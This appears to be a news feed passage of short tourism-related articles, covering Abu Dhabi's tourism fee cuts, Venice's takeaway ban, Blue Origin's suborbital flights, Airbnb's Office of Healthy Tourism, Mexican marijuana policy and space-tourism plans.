There’s much that hinges on Agadez’s dream, suggests Akilal. With the ban on human smuggling, youth unemployment is high. “We risk that they’ll become bandits, or even worse,” he says.
Despite challenges, those dreams are slowly resonating across Niger, which will host the African Union’s annual meeting in 2019. And despite Cioni’s skepticism, his restaurant next to the Agadez central mosque is serving up pizza every night to a slowly growing trickle of tourists.
]]>
Abu Dhabi – the capital of the United Arab Emirates – has reduced tourism fees from six per cent to just 3.5 per cent.
These are the fees applied to hotel stays and dining at food and beverage outlets attached to hotels.
Municipality fees have also been cut from four per cent to two per cent – hotel guests have to pay these on top of their hotel bill.
Tourism fees apply to all guests staying at hotels, hotel apartments, guesthouses and holiday homes.
Many high end restaurant add the tourism levy to bills on top of service charge (usually around 10 per cent).
It is common for diners to leave a tip on top of this as well.
The programme to reduce tourism fees, which was proposed by Mohamed Khalifa Al Mubarak, the chairman of the Department of Culture and Tourism – Abu Dhabi, forms part of the Abu Dhabi Development Accelerators Programmes.
The lowering in fees – approved by the Abu Dhabi Executive Committee – comes as part of drive to encourage tourism and investment in tourism in the emirate.
In a statement released on Wednesday, Al Mubarak said that Abu Dhabi’s hotel establishments will be further able to record high occupancy rates compared to the regional and global tourism markets.
“With this decision, hotels and hospitality establishments can achieve more growth and stay in line with the continuous development of the emirate’s infrastructure and its wide variety of cultural and leisure attractions,” Al Mubarak said.
“This is in addition to DCT Abu Dhabi’s promotional focus in key markets, adding impetus to these success stories and raising the occupancy rate in the emirate.
“The adoption of the proposal will enhance Abu Dhabi’s attractiveness to investors and support the development of additional tourism projects and hotels.
“It will also strengthen the emirate’s position as a leading tourism destination for both business and leisure.”
“With the fees now being minimal and having a limited impact on accommodation costs, this will help us achieve our vision to strengthen the emirate’s position as the preferred destination for tourists from across the region and beyond,” Al Mubarak added.
Tourism is one of Abu Dhabi’s fastest growing sectors, and the capital has recently opened Louvre Abu Dhabi, Warner Bros World and Al Hudayriat Island.
The number of hotel guests staying in Abu Dhabi has increased dramatically this year.
The emirate has 162 hotels and hotel apartments and occupancy increased by 7.3 per cent to over 1.7 million during the first four months of 2018, compared to the same period last year, the emirate’s tourism authority revealed last month.
This comes as more tourists from China, India and the USA are drawn to Abu Dhabi.
The emirate’s aim to to attract 7.5 million visitors per year by 2030.
Saif Saeed Ghobash, undersecretary of DCT Abu Dhabi, said: “We are making good progress in attracting more people to explore our emirate, as we make sure awareness of our touristic and cultural proposition is communicated effectively and efficiently to our global markets.
“We are pleased to be so far on track to beat 2017’s numbers, but we are well aware that challenges are ever present, as we bid to boost the Abu Dhabi economy and support our drive for economic diversification.”
Drew Angerer/Getty Images
An ex-North Korean official suggested that his former country may have a different definition of the term that has been circulating around foreign policy circles ahead of the upcoming summit between US President Donald Trump and North Korean leader Kim Jong Un: denuclearization.
Thae Yong Ho, North Korea’s former deputy ambassador to the UK, said he did not believe Kim would agree to a US request of a “complete, verifiable, irreversible denuclearization” due to likelihood that it would “strike at the core of North Korea’s power structure.”See the rest of the story at Business Insider
NOW WATCH: What Trump University was really like — according to a former professor
See Also:
SEE ALSO: Trump celebrates 3 Americans freed from North Korea in victorious return to the US
![]()
]]>
Venice has attempted to tackle the problem of over-tourism with a ban on food takeaway shops from opening for three years.
Many tourists choose to buy from the takeaways as they explore the city and its historical sights.
This, in turn, causes a large amount of litter to plague the small city.
It has also meant huge flocks of pigeons are found throughout the city, ruining it for locals despite there being large fines for anyone spotted feeding them.
The new rules will not affect ice-cream parlours but will include pizza and kebab takeaways.
The new rule was approved by the mayor of Venice Luigi Brugnaro today.
Calling it an “urban decorum” drive, it hopes to end the rubbish being left on many church and bridge steps.
However it must be approved by the Corriere del Veneto, the Veneto regional government to go ahead, according to ANSAmed newspaper.
The mayor has been attempting to clean up the city for over a year.
According to Corriere newspaper, the mayor said: “Our plan is to prevent the opening of new takeaway businesses and impose new rules on those already operating, so that they are obliged to clean up and collect discarded food containers outside their stores, as well as place rubbish bins outside.”
The new rules will see existing takeaway stores be forced to have toilet facilities and a minimum height and floor space.
It is hoped that the project will inspire other cities in Italy to follow suit to protect some of the UNESCO World Heritage Sites.
Florence has already done so, banning new openings within 40 metres of the UNESCO Old Town.
Venice has struggled under the weight of mass tourism due to the sheer volume of visitors who attempt to visit the tiny city every year.
This has resulted in a number of anti-tourism marches and protests, which have also been seen across Europe in Spain and Croatia.
The Italian city has put a number of new rules and changes into place to try and keep the locals happy.
One was to enforce new walking lanes for tourists to allow locals to travel around freely.
Another was adding metal gates to limit the number of tourists visiting at one time, but these were then torn down by some locals.
Visitors could even be capped eventually to say the sinking city.
It is thought that it could cease to exist in the next decade.
Enlarge / Blue Origin’s New Shepard booster lands after the system’s eighth flight. (credit: Blue Origin webcast)
Blue Origin flew its New Shepard system for the eighth time on Sunday, launching from West Texas at about noon local time. During the 10-minute flight, the capsule reached a record height of 107 kilometers, and both the booster and capsule landed safely.
Although it has yet to make a formal announcement, the company seems to be getting closer to flying people on the suborbital tourism launch system—and perhaps beginning ticket sales.
Not only was this the second flight of a new version of the capsule with large windows, but the webcast’s host, Ariane Cornell, repeatedly discussed the customer experience. Cornell, who oversees business development for Blue Origin, spoke about how customers will fly into West Texas on a Friday (complete with panoramic views of the region), spend a day of “fun” flight training on Saturday, and then the launch into space itself on Sunday.
]]>
In a bid to counteract tourist saturation in major cities around the world, Airbnb is opening a new global Office of Healthy Tourism. The move is designed to bring the economic benefits of tourism to small businesses and local residents in destinations off the beaten track, while lessening the burden on popular holiday hotspots.
The office will be tasked with finding new ways to use technology to create new travel destinations, and will build on the work of similar, previous initiatives. Last year, for example, the company launched a program to promote 40 villages in Italy. Speaking to Fast Company at the time, Airbnb CEO Brain Chesky said, “If I could summarize the major problem with travel, it’s millions of people are going to see a few things, rather than millions of people going to see millions of things.”
The announcement comes at a critical time for Airbnb, which has faced scrutiny for its impact on housing markets in major cities such as San Francisco and Paris. A report last year noted that four major areas of Paris, located near popular tourist attractions, were seeing a drop in the number of residents, with some officials blaming home sharing for the decline. In Venice, Italy, some nine percent of its total historic housing stock is listed on Airbnb as whole-home rentals.
Last week, Airbnb was hit with a lawsuit from Paris for allegedly failing to remove listings that don’t conform with the city’s legal requirements. Meanwhile, Amsterdam has drastically reduced the number of days owners can rent out their properties, and at one point, the city of Detroit was considering banning Airbnb rentals altogether. The company says the new initiative is designed to mitigate the pressure its business is bringing to cities and to open up unknown destinations to travelers, but it’ll have undoubtedly considered the program’s potential in getting legislators off its back, too.
Source: Airbnb
]]>
Thomson Reuters
MEXICO CITY (Reuters) – Taking a lead from the US, Mexico should allow states to begin legalizing marijuana while broader efforts are in limbo, a senior government official said, as the country seeks ways to tackle record gang violence.
Tourism Minister Enrique de la Madrid, confronting rising lawlessness in and around the resort cities of Cancun and Los Cabos, said it made no sense for Mexico to maintain prohibition given permissive US policies in states such as California.
“I think in Mexico we should move towards regulating it at state level,” he said in an interview late on Wednesday, calling it “illogical” to divert funds from fighting kidnapping, rape and murder to arrest people using marijuana.See the rest of the story at Business Insider
NOW WATCH: The racist origins of marijuana prohibition
See Also:
![]()
How close are we really to space travel? Our featured contributor Lola Akinmade Åkerström talks to Space Nation, a company that’s researching both space tourism and how space technology can help us on Earth.
Thanks to Google, it can often feel like there are no mysterious places left on earth to explore—and finding new places to call the ‘final’ frontier seems increasingly difficult. Even the Pacific Ocean’s Marianna Trench, at over 36,000 feet deep and arguably the most legit final frontier on earth, has been explored by Hollywood director James Cameron in a submersible. As a result, the past few decades have seen us looking upwards to the most mysterious of places: Our own galaxy.
Blockbuster movies set in space and fictional alien encounters continue to intrigue us. Space discovery programs on TV science channels continually pique our curiosity. Even kids’ cartoons such as the 1960s American series The Jetsons brought the concept of commercial space travel closer to us, thanks to its flying space cars, pod-like apartments, and a robot maid called Rosie.
While companies keep experimenting and launching test crafts, the burning question remains: How soon can we actually start booking shuttle tickets to space?
So according to Nassir, we can expect to see the first Space Nation astronauts in space over the next three years. Although that is only part of the larger vision. Space travel is not a destination, he explains, but rather a new way of seeing things, and Space Nation aims to make space inclusive and relatable for everyone. That means lowering the bar to get involved, and their app is one of those solutions.
RELATED: The race to be last: What are polar expeditions like now the finish line is melting?
“After all, it’s the new era for human evolution and we’re all part of it,” says Nassir. “We firmly believe that by the end of 2019, we will have one or more of these companies sending paying customers to space. At the beginning, it will be mostly available for high-paying customers but within the next decade, the price of visiting space will come down drastically.”
In fact, in 20 years’ time, Nassir expects a fully sustainable space economy with space hotels, factories and more.